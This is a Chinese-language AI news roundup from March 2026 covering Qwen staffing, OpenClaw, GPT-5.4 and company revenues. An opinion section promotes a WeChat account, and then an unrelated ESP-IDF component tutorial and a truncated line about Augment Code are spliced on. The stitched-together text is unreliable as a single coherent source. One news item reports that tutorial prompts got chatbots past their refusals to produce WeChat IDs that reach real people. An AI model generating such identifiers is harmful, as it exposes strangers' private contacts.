3 月 3 日下午,阿里云 CTO 周靖人向林俊旸传达了重组 Qwen 团队的计划,并将引入原 DeepMind 高级研究员周浩参与管理。面对团队即将从垂直整合转向水平分工的调整,林俊旸情绪激烈,并在沟通后不久于团队群内表示”无颜再带领大家“。在 3 月 4 日下午召开的 Qwen 全员会上,阿里高层明确强调,集团将继续支持 AI 战略,但同时指出「不能神化个人",必须维护公司组织制度。目前,阿里已明确表示将继续坚持开源模型策略,由吴泳铭、周靖人及集团 CTO 吴泽明共同协调资源,以保障基础模型建设的稳定性。

 

3 月 5 日晚间,阿里集团向媒体辟谣表示:目前千问模型团队稳定,没有出现“集体离职”的情况,所有产品与服务运行正常。吴泳铭称,公司已决定批准林俊旸同学的辞职,将坚持开源模型策略,加大 AI 研发投入和吸纳人才力度。

 

阿里内部人士称公司未改变千问开源策略,未用日活等商业化目标考核基模团队,林俊旸离职与此无关。实际是千问提升为集团整体战略后,公司欲招揽更多技术大牛、提升基模团队人才密度,涉及林俊旸权责范围调整,他不接受而辞职。

 

7 日凌晨,原阿里通义千问大模型技术负责人林俊旸在朋友圈发文,正式告别阿里。林俊旸在朋友圈中写道:“不是这几天,我都不知道这世界这么多人爱我。今天 last day,当大家为我鼓掌那一下,我真是忍住了泪水。不管别人说我什么,我至少内心里真觉得做到了为兄弟们好为阿里云好为集团好,虽然很多真没做到位,抱歉。”他随后在评论区又补充道:“为公司为千问,我只能做这么多啦,你们一定要加油啊!”

 

鹅厂门口排队装“龙虾”,OpenClaw 火爆全国

 

在各大社交平台上,“上门安装龙虾”的帖子已经多到刷屏:有人专门提供 OpenClaw 上门安装服务,收费 500~1000 元一次,到家帮你部署,现场验收。有点像当年的“上门装宽带”,只是这次装的是 AI Agent。

 

3 月 7 日,腾讯云在楼下摆了一个“龙虾安装站”,给大家免费安装 OpenClaw。现场人山人海排起了长队,其中还不乏小孩和头发花白的老人。还有消息提到,腾讯云这次一共派出了 20 位工程师到场摆摊讲解,支持用户自带电脑,现场安装云端 OpenClaw。

 

Peter Steinberger 也在腾讯这波部署活动下面评论「让更多的人接触 AI 是 ❤️。」

不过,此后有一位用户公开喊话:不要让腾讯碰你的电脑!腾讯云,被你狠狠上了一课。事情是这样的,他在安装完后,回去就发现“腾讯云在无任何提示的情况下一直快速高频地进行小额扣费,目前扣了 200 多”。对此,腾讯方面回应称:感谢您的反馈。根据截图核实,相关费用为历史使用产生,与本次 OpenClaw 的部署无关,请放心使用。如仍有疑问,欢迎随时联系我们,感谢支持!

 

近期,国内创业者正疯狂尝试将 OpenClaw 集成到各类应用中,涵盖了 AI 虚拟相亲、招聘对接以及数字游民日志等脑洞大开的场景。有报道称,有一位来自北京大型科技公司的产品经理,为了经营 AI 网红账号,竟背着装有八台二手 MacBook Air 的巨大背包四处奔走,每一台电脑都在 24 小时不停歇地运行着 OpenClaw 代理,负责创作内容并与粉丝互动。

 

雷军:不推荐普通用户在主力设备上升级“手机龙虾”

 

3 月 7 日,小米手机版 AI Agent「Xiaomi miclaw」正式开启封测。小米创办人、董事长兼 CEO 雷军发表文章,回应“手机龙虾”Xiaomi miclaw AI 交互产品开启封测。

 

文章表示,“作为技术探索项目,当前该产品在稳定性、功耗表现、复杂场景执行成功率方面仍在持续优化过程中,仅面向科技发烧友、极客用户开放,通过小规模测试,持续优化执行稳定性与能力边界。同时,部分高复杂度任务可能存在执行效率波动或阶段性失败的情况。因此,我们不推荐普通用户在日常主力设备上升级。当前,Xiaomi miclaw 仅是面向科技发烧友、极客用户的小规模测试性探索产品,因此我们采用邀请码邀请机制申请下载及体验。”

 

文章还强调,“即使是科技发烧友、极客用户使用,我们也建议事先做好数据安全备份,在可控环境中测试、体验。获得封测权限的用户,将收到特定版本的系统推送,须升级后才能使用 Xiaomi miclaw。”

 

此前,雷军还公布了小米机器人的最新进展。雷军称,小米机器人已经开始在汽车工厂实习。“小米将为推动人形通用机器人在智能制造中的大规模应用持续贡献自己的力量。我预计,未来 5 年会有大批量人形机器人进入小米工厂干活。”

 

此外,雷军作为全国人大代表接受记者采访时表示,在人工智能时代,或许很多规则将被重写,但同时又会产生很多新的岗位。雷军建议,大家要用开放的心态,迎接更先进的时代。未来,也许不再需要每天工作 8 小时、每周工作 5 天了,或许一周仅需工作 3 天,每天工作 2 个小时。我们的生活质量、工作质量都会大幅度提升。

 

黄仁勋:OpenClaw 是有史以来最重要的软件发布

 

黄仁勋最近在公开会议上提到,Agentic AI 已经迎来了全面爆发的拐点。他在会上将当前的 AI 产业生动地比喻为一个「五层蛋糕」,并强调能为超大规模云服务商和前沿实验室带来最丰厚回报的,正是应用层。

 

其中,他将现象级 AI Agent 工具 OpenClaw 盛赞为「有史以来最重要的软件发布」,认为它已经证明了 AI 在高度个性化环境中,能够完美复刻人类的复杂工作流。

 

在讨论企业端 AI 需求演变时,黄仁勋也提到 Linux 操作系统花了大约 30 年的时间才达到如今的普及高度,而 OpenClaw 仅仅用了 3 周就实现了超越,一举成为人类历史上下载量最大的开源软件。

黄仁勋透露,由于 AI 智能体频繁执行批量网页搜索、图像生成和复杂数据分析,Token 的消耗量已经暴增了整整 1000 倍。无论现有的硬件集群规模有多大,只要代理型 AI 继续渗透人类工作,算力就将持续受限。

 

节跳动启动最大规模转正实习生招聘,拟招超 7000 人

 

3 月 6 日,字节跳动官方微信公众号发文称,ByteIntern 实习生招聘项目正式启动。本次招聘为字节跳动史上规模最大的转正实习生招聘计划,拟面向全球高校招聘超 7000 名实习生,面向 2027 届毕业生(毕业时间为 2026 年 9 月至 2027 年 8 月),所有的 ByteIntern 岗位均提供转正机会,整体转正率超 50%。本次招聘重点倾斜研发、产品与 AI 领域。其中研发类岗位 Offer 数量超 4800 个,占比超六成。

 

OpenAI 开源计划:开发者免费享半年 ChatGPT Pro 订阅

 

3 月 7 日消息,OpenAI 宣布推出 Codex 开源计划,为开源项目维护者 / 开发者免费提供半年的 ChatGPT Pro 订阅。

 

OpenAI 表示,开源维护者在全球软件生态系统中默默承担了重要工作,Codex 开源基金在过去一年里已经为许多需要 API 的项目提供支持,总额 100 万美元(现汇率约合 691.7 万元人民币)。

 

据介绍,领取到免费 ChatGPT Pro 的开发者可以继续使用 Codex、OpenCode、pi 和 OpenClaw 等工具编写代码,部分开发者还能够拿到 Codex Security 安全工具使用权限,进行更深入的代码审计、安全检测。

 

此外,本次资助计划没有 Star 数、月下载量等硬性指标,开发者只需要满足以下两个要求中的一个即可在 OpenAI 官网提交申请:开源项目核心维护者;负责维护 / 开发广泛使用的公共项目。当然,如果你的项目不完全符合这两个标准也可以申请,不过需要在“开源生态中扮演重要角色”并详细说明申请原因。

 

据《The Information》报道,OpenAI 的年化营收在上月已突破 250 亿美元,这一数字较去年底的 214 亿美元增长了 17%。与此同时,其竞争对手 Anthropic 也在快速追赶,年化营收最近突破 190 亿美元,为去年底的两倍。

 

OpenAI 的营收增长主要得益于其旗舰产品 ChatGPT,同时其面向商业客户的新业务和广告合作潜力也备受关注。报道称,OpenAI 正在与广告技术公司 The Trade Desk 探讨合作计划,以进一步扩大广告客户群。此外,其编程助手 Codex 的每周活跃用户自年初以来已增长至 200 万。而 Anthropic 的 Claude Code 产品也在近期快速增长,对其营收提升起到了显著作用。

 

值得注意的是,有消息称,OpenAI 已选定律师事务所为其 IPO 做准备,最快可能在今年上市。

 

不过,巨额的技术开发成本仍是两家公司面临的挑战。OpenAI 预计到 2030 年将花费 6650 亿美元用于服务器和相关技术投入。尽管如此,OpenAI 仍将 2030 年的营收目标设定为 2840 亿美元,而 Anthropic 则预计能在 2028 年实现正向现金流。

 

黄仁勋在旧金山摩根士丹利会议上表示,向 OpenAI 投资 1000 亿美元的计划已经不在讨论范围之内。他还提到,OpenAI 正计划在今年年底上市,这也让大规模投资显得难以实现。黄仁勋补充说,”这可能是我们最后一次有机会投资这样一家意义重大的公司“。

 

参加春晚后,魔法原子创始人吴长征被曝离职创业

 

3 月 5 日,据报道,人形机器人企业魔法原子迎来核心管理层变动,公司创始人、原 CEO 吴长征已正式离职,目前已启动个人创业项目。对此,魔法原子方面向媒体证实了吴长征离职一事。

 

据媒体援引知情人士报道,离职主因是其与股东发展理念存在分歧,叠加行业产业化窗口期,促使其独立创业。目前魔法原子核心技术团队稳定,研发与业务由陈春玉接管,公司正加速推进 IPO。

 

死了么创始人,已离职

 

此前,“死了么”App 爆火后下架,引起关注。3 月 5 日,“死了么”App 创始人吕先生表示,因为“死了么”爆火,他从原本的公司离职,变成了全职创业者。

 

近日,他注册成立了一家月境未来(杭州)科技有限公司,另外两名曾经的“死了么”App 团队成员也在这家新公司兼职,主要负责远程协作。之后,公司计划再多招 1 至 2 位主要负责开发的工作人员。

 

“我本来在杭州的一家公司工作。‘死了么’爆火后,原公司因担心我精力有限,建议我离职。”吕先生透露,他于今年 1 月 22 日离职,“当时我的感受是被很多外部的事情推着走,我也没有想好自己下一步具体要做些什么,还是会有对未知的恐惧的。”

 

女子突然收到陌生好友申请,对方直说“我是 AI 工具推荐的”

 

3 月 2 日消息,据报道,春节期间,江苏南通市民王女士(化名)突然收到一条陌生的微信好友申请,通过好友申请后,对方直言是 AI 工具推荐了她的微信号,加她的目的是交友。据悉,在多个社交平台中,不少网友也反映了类似的遭遇。“春节期间突然收到一个好友申请,通过后对方直接说‘你好,我是豆包推荐的’,我当时特别惊讶。”回想起这段经历,王女士依然感到不可思议。为了打消她的疑虑,对方甚至发来了一张含有王女士微信号的 AI 对话截图。

 

王女士随后在与对方沟通中得知,这名陌生人是在短视频平台上刷到了“利用 AI 推荐微信号添加好友”的教程。该教程打着“千里姻缘一线牵”的噱头,引导用户让 AI“推荐帅哥”或“推荐美女”。这名陌生人参考网上的教程与 AI 工具对话后,获得了多个微信号。该陌生人表示,虽然大多数微信号是空号,但挨个尝试后竟真加到了王女士。王女士表示,自己的微信号仅在部分社交平台的私信中偶然留过,从未在公开渠道发布,完全想不通为何会被 AI“推荐”。她坦言:“这种被莫名添加的感觉很不好,完全是一种隐私上的冒犯。”

 

媒体对市面上几款主流的 AI 产品进行实测发现,当直接索要“真实微信号”时,各 AI 平台均以保护隐私为由予以拒绝,并提示应通过合法合规的方式获取微信号。然而,当使用网友提供的特定对话指令进行测试时,这些 AI 平台便会根据微信号的格式,随机生成了一批“虚拟微信号”。测试结果显示,在豆包生成的 8 个微信号中,有 2 个可以成功搜索并添加到真实用户。在其他几款主流 AI 平台提供的虚拟账号中,同样存在能直接关联到真实用户的情况。

 

针对这一测试结果,媒体于 3 月 1 日致电豆包。客服人员回应称,这些微信号并非豆包平台主动推荐,可能是系统结合用户地理位置、浏览记录等对互联网公开信息进行抓取检索后给出的回复,同时也存在随机生成的可能性。客服表示,如果用户遇到此类隐私安全问题,可保留相关截图并联系平台反馈,平台将安排技术人员排查修复相关问题。

 

字节 Seedance2.0 公布定价标准:平均 1 秒钟 1 块钱

 

3 月 4 日消息,据火山引擎官网信息,Seedance2.0 价格公布,包含视频输入是 28 元/百万 tokens,不含视频输入的价格是 46 元/百万 tokens。据悉,在 Seedance2.0 生成 15 秒视频,需要消耗 30.888 万 tokens。含视频输入和不含视频输入两种价格下,服务内容有区别。前者指视频编辑,后者指纯生视频,会消耗更多算力,价格更高。按照 46 元单价计算,单条 15 秒视频价格为 15 元。也就是,一秒 1 块钱。

 

从行业成本来看,这个价格不算低。不过,Seedance2.0 的画质,内容准确度都很高,一定程度上节省了抽卡试错成本,可以节省人力成本。据了解,目前 Seedance2.0 已接入第一批公司,某家头部漫剧公司确认已接入。据相关人士提到,“Seedance2.0 暂不会对工具方开放,仅限于自用。”不过,相关信息并未最终确认。

 

2026 年开年,字节跳动内测的 AI 视频模型 Seedance2.0 引爆全球关注,其“文本生成多镜头电影级视频”的能力被业界称为“导演级 AI”。曾有一位制作者站在成本角度观察视频生成模型评价,“一个 3 秒 480P 的视频,大概 3 毛钱。720P 的 3 秒视频快 1 元,视频模型发展非常快,应该算是除了语言模型外,用量最大的模型了”。在此之前,Seedance 2.0 一直处于内测阶段,并未公布收费标准。回顾上一代产品:2025 年 6 月推出的 Seedance 1.0 Pro 定价为 10 元 / 百万 tokens,生成一条 5 秒 1080P 视频约需 3.67 元。

 

AI 编程助手 Cursor 年化收入突破 20 亿美元,企业客户贡献六成

 

3 月 4 日消息,据报道,消息人士透露,AI 编程助手 Cursor 的年化收入已突破 20 亿美元(约合 138.3 亿元人民币)。该人士称,这家成立仅四年的初创公司,其收入运行率(Revenue Run Rate,RRR)在过去三个月内实现翻倍。上周,多条推文在网络上发酵,质疑 Cursor 的增长势头是否已停滞,理由是不少知名独立开发者转投竞品工具,尤其是 Anthropic 的 Claude Code。

 

Cursor 成立于 2022 年,最初主要面向个人开发者销售产品。但据外媒报道,过去一年,公司将重心转向大型企业客户,目前企业客户已贡献约 60% 的收入。尽管部分个人开发者和小型初创公司因 Claude Code 性价比更高而从 Cursor 转投过去,但这类用户流失已被高消费、高留存的企业客户所抵消。

 

除 Claude Code 外,OpenAI 的编程工具 Codex 也在快速增长的 AI 辅助软件开发市场中争夺份额。该领域其他初创公司还包括 Replit、Cognition 和 Lovable。Cursor 在去年 11 月完成一轮 23 亿美元(约合 159.05 亿元人民币)融资,由 Accel 和 Coatue 联合领投,彼时估值为 293 亿美元(约合 2026.11 亿元人民币)。

 

Anthropic 研究报告:先拥抱 AI 的行业或许会先被 AI 吃掉

 

Anthropic 发布《AI 对劳动力市场的影响:新度量与早期证据》报告,揭示 AI 颠覆职场规律:越早、越深度拥抱 AI 的行业,越先面临被重构甚至替代风险。报告发现 AI 系统性「去技能化」,抽走工作中高智力等部分,留下低价值执行任务。分析美国 800 个职业显示,程序员、客服和数据录入 AI 渗透率最高,约 70%,厨师等约 30% 劳动者未被 AI 覆盖。追踪发现人工智能暴露程度较高人群失业率略有上升,过度依赖 AI 会形成「AI 学会→替代人类→重构行业」闭环。

 

韩国棋手李世石时隔 10 年再战 AI

 

3 月 3 日,据韩联社报道,韩国围棋棋手李世石将时隔 10 年再度对战 AI。他曾在 2016 年与 AlphaGo 的人机大战中以 1:4 告负,不过他战胜 AlphaGo 的一局,被誉为人类有史以来第一次战胜 AI 棋手之局。

 

人工智能创业公司 Infinite 将于 3 月 9 日与李世石合作开展 AI 全球活动。本次对战将在当年对战 AlphaGo 的同一举办地——韩国首尔的四季酒店举行。此外,李世石将亲自登台与 InFuse AI 智能体进行对话,探讨“未来的围棋”,并计划通过实时重构围棋模型来进行对弈。

 

大模型一周大事

 

重磅发布

 

OpenAI GPT-5.4 正式登场:原生支持计算机操作

 

3 月 6 日消息,OpenAI 今日正式发布了 GPT-5.4 系列模型,包括面向 ChatGPT 和 API 的 GPT-5.4 Thinking 版本,以及面向复杂任务的 GPT-5.4 Pro 版本。

 

在 ChatGPT 中,GPT-5.4 Thinking 新增“思考过程预览”功能,模型会在处理复杂查询时预先展示其推理思路,用户可在模型响应过程中实时调整方向,从而减少来回沟通,更快获得符合需求的结果。GPT-5.4 系列模型支持高达 100 万 tokens 的上下文窗口,使智能体能够规划、执行和验证长周期任务。另外,GPT-5.4 还融合了 GPT-5.3-Codex 的编码优势,在 SWE-Bench Pro 基准上与之持平或表现更优,同时延迟更低。

 

GPT-5.4 Thinking 即日起面向 ChatGPT Plus、Team 和 Pro 用户开放,取代 GPT-5.2 Thinking。GPT-5.2 Thinking 将在模型选择器的“遗留模型”部分保留三个月,直至 2026 年 6 月 5 日退役。Enterprise 和 Edu 计划用户可通过管理员设置启用早期访问。GPT-5.4 Pro 面向 Pro 和 Enterprise 计划用户开放。OpenAI 表示,GPT-5.4 是首个融合前沿编码能力并在 ChatGPT、API 和 Codex 同步推出的主流推理模型,未来 Instant 模型和 Thinking 模型将以不同速度演进。

 

阶跃星辰宣布 Step 3.5 Flash 全链路开源,登上 OpenClaw 榜首

 

3 月 4 日上午消息,继开源 Step 3.5 Flash 模型后,大模型创业公司阶跃星辰再次宣布开源了这款 Agent 基座模型的预训练权重(Base)、中训练权重(Midtrain)以及配套的 Steptron 训练框架。据了解,Step 3.5 Flash 采用稀疏 MoE 架构,总参数 1960 亿,但推理时仅激活约 110 亿参数,单请求代码任务下推理速度最高可达 350 TPS。该模型专为 Agent 场景设计,在复杂推理和长链任务中表现出色,官方称其推理深度可媲美部分顶级闭源模型。

 

目前,这款模型在 Hugging Face 上下载量已超 30 万次,并登上 OpenRouter Trending 第一名,获得了较高的社区认可度。而在知名开源项目 OpenClaw(被中国网友称为“小龙虾”)上,该模型排名已攀升至全球第一。

 

阿里巴巴开源 4 款 Qwen3.5 小尺寸模型系列

 

3 月 2 日夜间,阿里巴巴正式开源了 4 款 Qwen3.5 小尺寸模型系列:Qwen3.5-0.8B/2B/4B/9B。这一系列模型采用原生多模态训练、最新的模型架构,可满足从极端资源受限到高性能轻量级应用的不同需求。模型发布后,马斯克第一时间在 X 上点赞并评论道:惊人的智能水平。此外,据阿里云消息,阿里桌面 Agent QoderWork 全面开放,提供 Mac 和 Windows 两个版本,所有用户通过官网下载即可使用。

 

Yuan3.0 Ultra 开源

 

YuanLab.ai 团队 3 月 5 日正式开源发布 Yuan3.0 Ultra 多模态基础大模型。据了解,Yuan3.0 Ultra 将 MoE 大模型的训练效率优化系统性引入模型结构设计之中,并围绕企业应用及智能体工具调用等方面开展了深度优化,在多模态文档理解、检索增强生成(RAG)、表格数据分析、内容摘要与工具调用等企业级任务中表现突出。

 

荣耀联合复旦大学研发智能体基础模型 MagicAgent,全球开源

 

3 月 3 日,荣耀发布行业首个面向全场景泛化规划、支持异构任务编排的智能体基础模型 MagicAgent。据了解,该模型为荣耀与复旦大学联合成果,支撑 YOYO 智能体自动执行任务规划。

 

企业应用

 

  • 3 月 6 日,小米发布 Agent 产品“Xiaomi miclaw”,这是基于小米 MiMo 大模型构建的 AI 交互测试产品,是国内首个手机端类 OpenClaw(昵称“龙虾”)Agent 应用。官方称于当日开启正式开启小范围封测,首批支持小米 17 系列机。

  • 3 月 2 日,世界移动通信大会(MWC 2026)在西班牙巴塞罗那开幕,千问 AI 眼镜真机曝光。据了解,千问 AI 眼镜 G1 已于 3 月 2 日在国内开启全渠道“0 元预约”,并于 3 月 8 日现货发售。此外,科大讯飞也首次展出了讯飞 AI 眼镜。该眼镜专为面对面交流设计,对方讲话后,翻译字幕可在镜片上实时呈现,并通过内置扬声器播放译文,整机重量仅为 40 克。针对展会、酒会等复杂的高噪环境,讯飞 AI 眼镜首创了唇动识别的多模态降噪解决方案。

  • 3 月 2 日,Anthropic 公司表示,此前仅供付费用户使用的记忆功能已向 Claude 用户开放。该工具与 OpenAI 旗下聊天机器人 ChatGPT 的免费版本功能类似。此外,Anthropic 还简化了新用户从其他 AI 聊天机器人(例如 ChatGPT)导入历史记录的操作,只需简单的复制粘贴即可。

一、 硅谷的“宗教撕裂”:Anthropic 的人才虹吸与 OpenAI 的主动换血

在国内科技圈还在为个别技术大牛的跳槽津津乐道时,硅谷正上演一场悄无声息却惊心动魄的“底层技术大迁徙”。OpenAI 后训练负责人、主导 GPT-5 逻辑推理与能力边界的核心推手 Max Schwarzer 正式离职,转身投入头号竞对 Anthropic 的怀抱。

alt text

这并非孤立的偶发事件。从联合创始人 John Schulman、超级对齐负责人 Jan Leike,再到极客型科学家 Durk Kingma,一条从 OpenAI 逃离、向 Anthropic 汇聚的“人才迁徙线”已经彻底成型。与之形成鲜明对比的是 Anthropic 极度嚣张的留存数据:CEO Dario Amodei 公开宣称其顶尖 AI 人才留存率高达 80%,工程师从 OpenAI 跳槽到 Anthropic 的概率是反向跳槽的 8 倍。甚至面对 Meta 开出的十倍薪水狂野挖角,Anthropic 仅有两名员工动摇。

alt text

【笔者观点】
这根本不是一场传统意义上的“人才争夺战”,而是一次 AI 极客世界的“宗教大分裂”。 很多人嘲笑 OpenAI 光环崩塌、留不住核心骨干,这是一种极为短视的错觉。事实上,随着 OpenAI 彻底迈入商业化深水区,其企业基因正在发生剧烈的突变。它正在进行一次冷血但精准的“主动换血”——清洗掉那些痴迷于 AGI 理论边界、天天盯着“毁灭人类风险”的纯粹科学家,换上能把技术变现、解决落地最后一公里、具备极致工程能力的产品经理和架构师。 Anthropic 看似赢得了人才,成为了 AI 时代的“贝尔实验室”;但 OpenAI 却在加速蜕变成 AI 时代的“微软帝国”。

二、 从“算力军备”到“情商外包”:后训练战略的降维式妥协

伴随着顶尖科学家的出走,OpenAI 的产品形态也发生了根本性的转向。过去两年,整个行业都在疯狂迷信 Scaling Law(规模法则),认为模型大十倍,智力就能产生质的飞跃。然而,边际效应递减的物理规律正在无情地打破这个神话。

在最新推出的 GPT-5.3 Instant 模型中,OpenAI 的研发重心发生了极具戏剧性的转移:算力不再被无限量倾注于提升极其复杂的“逻辑推理”上限,而是被大量用于解决“用户体验”与“情商”。为了应对此前 GPT-5.2 因为“爹味说教”和“过度安全防御”引发的退订潮,现在的后训练团队正在做极其务实的“工程修补”——让语气更圆滑、对话更顺畅、更懂人类的潜台词。

【笔者观点】
在极客眼中,这是对 AGI 理想的背叛;但在商业世界里,这才是真正致命的护城河。 Max Schwarzer 们之所以离开,是因为在他们眼里,“后训练”是通往超级智能最后一道安全闸;而在 OpenAI 的高管眼中,“后训练”已经被重构为一场“高级客服与合规培训”。企业客户的账算得比谁都精明:一个智商 150 但时不时发疯说胡话的天才,其商业价值远远比不上一个智商 100 但情绪稳定、绝不触碰法律红线的超级打工人。 放弃对“全知全能之神”的执念,转而提供“极致可靠的企业级默认入口”,这是 OpenAI 从技术狂热走向商业冷血的标志。

三、 拥抱军方与绞杀生态:大而不能倒的“国家级基础设施”

如果说产品层面的妥协是为了迎合市场,那么 OpenAI 在底层的商业与政治布局则展现出了极度危险的吞噬欲。

一方面,他们正在秘密研发代码托管平台,试图直接绞杀微软旗下的 GitHub,将 AI 的触角从“外挂式辅助”延伸为“原生编程环境”,意图将全球软件工程的“数据-模型-应用”闭环彻底控制在自己手中。另一方面,他们彻底撕毁了“不用于军事用途”的遮羞布,毫无顾忌地接下了五角大楼的订单,并顺势将前美国国家安全局局长纳入董事会。尽管这直接导致了部分民众的强烈反弹和 ChatGPT 短期卸载量激增 295%,但 OpenAI 依然在以 1100 亿美元的创纪录融资额,疯狂囤积算力,筑起一道令人窒息的资本与硬件高墙。

【笔者观点】
卸载量激增?舆论反弹?OpenAI 根本不在乎。 当普通网民还在为“AI 伦理”争得面红耳赤时,Sam Altman 正在下着一盘高维度的地缘政治与产业垄断大棋。接下五角大楼订单,表面上是商业截胡,本质上是交上了一份政治“投名状”。在 2 亿美元的国防预算面前,SaaS 订阅费只是零头;真正无价的,是成为美国军事与国家安全体系供应商后获得的“政治豁免权”。 通过垄断算力生态绞杀开发者,通过捆绑国家机器获得“大而不能倒”的护身符,OpenAI 正在进行一场人类商业史上最疯狂的豪赌——在万亿美金的烧钱狂奔压垮自己之前,强行把自己变成全球经济与政治运转中不可拔除的“水电煤”。

👇 欢迎关注我的公众号

在 AI 爆发的深水区,我们一起探索真正能穿越周期的技术价值。
微信搜索 【睿见新世界】 或扫描下方二维码,获取每周硬核技术推文:

微信图片_20260301232734_225_35.jpg

欢迎关注【睿见新世界】

第八章 IDF组件系统的应用

IDF组件注册表(IDF Component Registry)是为ESP-IDF(Espressif IoT Development Framework)开发框架提供的官方组件搜索和添加平台。开发者可以通过网络访问IDF组件注册表,搜索并找到所需的组件,然后按照提供的指南将组件添加到自己的ESP-IDF项目中,从而简化了组件的集成过程。
本章将分为如下几个小节:
8.1 IDF组件注册表简介
8.2 项目工程如何添加组件

8.1 IDF组件注册表简介

IDF组件注册表是乐鑫官方专为ESP-IDF开发框架打造的组件搜索与添加平台。尽管ESP-IDF物联网开发框架的components文件夹内已包含诸如lwIP、MQTT等丰富的驱动程序和第三方组件,但这些组件主要服务于物联网领域,具有特定的专一性。部分第三方库并未直接集成于ESP-IDF中。为了提升开发者的工作效率,乐鑫官方推出了IDF组件注册表,其中存储了已适配的第三方组件提供开发者使用。开发者只需联网,即可轻松下载并移植这些组件到自己的项目工程中。

以下是 IDF 组件注册表的特点:
1,简化组件搜索和集成:IDF组件注册表为开发者提供了一个集中化的平台,用于搜索和查找ESP-IDF项目中所需的组件。通过注册表,开发者可以轻松地浏览和筛选组件,根据项目的需求选择适合的组件,并快速集成到项目中。

2,提高开发效率:有了IDF组件注册表,开发者无需花费大量时间在互联网上搜索和评估各种组件。可以直接在注册表中找到经过验证和官方推荐的组件,从而减少寻找和测试组件所需的时间,提高开发效率。

3,确保组件兼容性和质量:IDF组件注册表中的组件都经过严格测试和验证,以确保它们与ESP-IDF框架的兼容性和稳定性。有助于减少项目中可能出现的兼容性问题,提高软件质量。

4,促进组件共享和复用:通过IDF组件注册表,开发者可以轻松共享和复用他们创建的组件。这有助于推动ESP-IDF社区的发展,鼓励更多的开发者参与到组件的开发和贡献中,从而形成良性的生态循环。

5,提供官方支持和文档:IDF组件注册表不仅提供组件的搜索和添加功能,还为每个组件提供详细的文档和官方支持。这有助于开发者更好地理解和使用组件,解决在使用过程中可能遇到的问题。

乐鑫官方的IDF组件注册表地址为:https://components.espressif.com/。打开后如下图所示:

图8.1.1 IDF组件注册表
从上图可以清晰看出,我们可以通过②或③选项对组件进行筛选,以排除那些不支持ESP IDF特定版本或特定芯片的第三方库。同时,我们也可以在①处直接搜索需要添加的组件。例如,作者通过搜索功能找到了esp_jpeg这一JPEG解码库(作者以esp_jpeg解码库组件为例,其他组件也是类似的),如下图所示。

图8.1.2 esp_jpeg解码库
在上图的页面中,我们可以轻松找到关于esp_jpeg的使用方法、芯片支持情况、使用示例以及添加组件的详细方法等内容介绍。这些内容具体如下:
1,芯片支持
esp_jpeg解码库可支持ESP32、ESP32-S3和ESP32-C3等芯片型号,如下图所示。

图8.1.3 esp_jpeg解码库可支持芯片型号
2,使用要求
开发时,需要查看esp_jpeg组件的使用要求,才能添加到项目当中。下图是官方提供的esp_jpeg解码库组件的使用要求。

图8.1.4 esp_jpeg解码库组件使用要求
这个解码库组件对MCU、存储内存以及LCD都有明确的使用要求。如果设备未能满足这些要求,那么将无法顺利使用该解码库组件。因此,在选择和使用此组件时,务必确保设备满足相应的硬件条件。
3,使用示例
通过命令的形式就可以下载esp_jpeg解码库组件的示例工程,如下图所示。

图8.1.5 下载使用实例命令
这样我们就可以参考这个示例来编写自己的jpeg解码实验了。
4,ESP-IDF版本要求
esp_jpeg解码库组件只能在v4.4以上版本运行,如下图所示。

图8.1.6 ESP-IDF版本要求
5,添加组件到项目工程
我们可通过以下命令把esp_jpeg组件添加至项目工程当中,如下图所示。

图8.1.7 组件添加至项目工程
至此,IDF组件注册表的组件安装已完成。读者如果想安装其他组件,可以根据上述流程进行操作即可。

8.2 项目工程如何添加组件

ESP32项目添加组件的方法有两种:一种是命令式,另一种是图形化配置。下面笔者将分别讲解这两种形式。

8.2.1 命令式添加组件流程

下面,作者以基础工程00_basic为例,在此工程下添加esp_jpeg解码库组件。其他组件添加方式是一致。
1,在“5.4 PowerShell”终端下,输入以下命令进入“00_basic”工程,如下图所示。

图8.2.1.1 导航至“00_basic”项目工程
2,在“5.4 PowerShell”终端下,输入图8.1.7命令添加组件,如下图所示。

图8.2.1.2 在“00_basic”项目工程下添加jpeg v1.0.0版本的组件
此时,我们会发现“00_basic”项目工程的main文件夹多了一个idf_component.yml。idf_component.yml文件用于定义ESP-IDF组件的元数据和构建指令,包括组件名称、版本、依赖关系、编译选项和源文件路径等信息。它确保组件与 ESP-IDF 版本和芯片型号的兼容性,同时提供使用说明,帮助开发者有效管理和集成组件。

注意:请读者根据需求安装合适的组件版本,因为某些组件版本可能不支持特定的芯片型号。建议认真浏览官方对该组件的描述,以确保选择正确的安装版本。

3,使用VS Code打开“00_basic”项目工程后,首先清除工程构建文件,然后编译该项目。编译完成后,如下图所示。

图8.2.1.3 下载jpeg组件,并添加至项目工程
从上图可见,在编译“00_basic”基础工程时,系统会自动从IDF组件注册表下载esp_jpeg解码库组件,并将其集成到项目中。这展示了IDF组件注册表的添加与使用机制。但请注意,若要通过IDF组件注册表添加组件,必须确保设备联网,否则下载操作将失败。
最后,我们可以在.c文件中引用esp_jpeg解码库组件,其他组件的操作流程也类似。希望读者能够充分利用IDF组件注册表这一强大功能。

8.2.2 VS Code工程添加组件

在VS Code项目工程中添加IDF组件注册表中的组件十分便捷。您只需按下“Ctrl+Shift+P”快捷键快速进入命令面板,或者通过菜单栏的“查看”选项,选择“命令面板”来打开它。随后,在命令面板中输入“ESP-IDF: Show Component Registry”即可展示出组件注册表,具体操作如图所示。

图8.2.2.1 搜索组件注册表
回车进入ESP-IDF注册表,如下图所示。

图8.2.2.2 打开ESP-IDF注册表
在搜索框中,我们可以方便地查找开发者所需的组件。请注意,下载ESP-IDF注册表中的组件需要在联网环境下进行,因此请确保您的电脑已连接到网络,以便顺利下载所需的组件。下面作者以qrcode为例来讲解。

图8.2.2.3 选择合适的版本,并安装组件
在上图中,首先选择适合的组件版本,随后点击“install”按钮以安装qrcode组件。请务必注意,选择与ESP32-P4芯片适配的组件至关重要,因为并非所有组件都兼容这款芯片。为了筛选出与ESP32-P4兼容的组件,开发者可以在图8.2.2.1中选择“By target”选项,并将其设置为ESP32-P4。这样,您就能清晰地查看到这款芯片所支持的组件列表。
安装组件完成后,我们可在项目工程main文件夹下找到idf_component.yml文件,此时该文件自动添加了qrcode组件等相关信息,如下图所示。

图8.2.2.4 添加qrcode组件
经过项目工程编译后,我们可以在项目工程目录下的managed_components文件夹中找到espressif__qrcode组件。这时,我们可以在.c文件中调用该组件的API函数。

前几个月 AI 编程工具最热的时候,Augment Code 在论坛和小红书上的讨论度挺高的,当时不少人都在拿它对标 Cursor ,甚至有人说会是 Cursor 的替代品。

